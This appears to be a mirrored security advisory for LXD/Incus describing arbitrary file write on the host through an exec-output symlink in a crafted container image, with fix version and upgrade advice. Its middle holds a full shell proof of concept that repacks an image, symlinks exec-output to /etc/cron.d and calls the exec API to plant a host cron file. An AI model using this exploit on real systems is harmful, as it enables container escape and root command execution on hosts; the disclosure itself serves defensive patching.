GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image

Published Nov 6, 2026
·
Updated

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named execUUID.stdout and execUUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instanceexec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

PoC

Below, we place the execUUID.stdout file in /etc/cron.d on the host for arbitrary command execution.

#!/bin/sh usage: $0 existing-imagefp set -eu

basefp="${1}"

die() { printf '%s' "${@}" >&2 exit 1 }

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack" cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output ln -s /etc/cron.d exec-output

tar -f- -c | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null incus image import "${tmpdir}"/img --alias afw-exec-output

Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Affected Software

1 affected componentFixes available
go/github.com/canonical/lxd<0.0.0-20260626085134-124f90100640
0.0.0-20260626085134-124f90100640

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/canonical/lxd to a version that resolves this vulnerability.

    Fixed in 0.0.0-20260626085134-124f90100640

Event History

Nov 6, 2026
Advisory Published
via GitHub·06:45 PM
Data Sourced
via GitHub·06:45 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203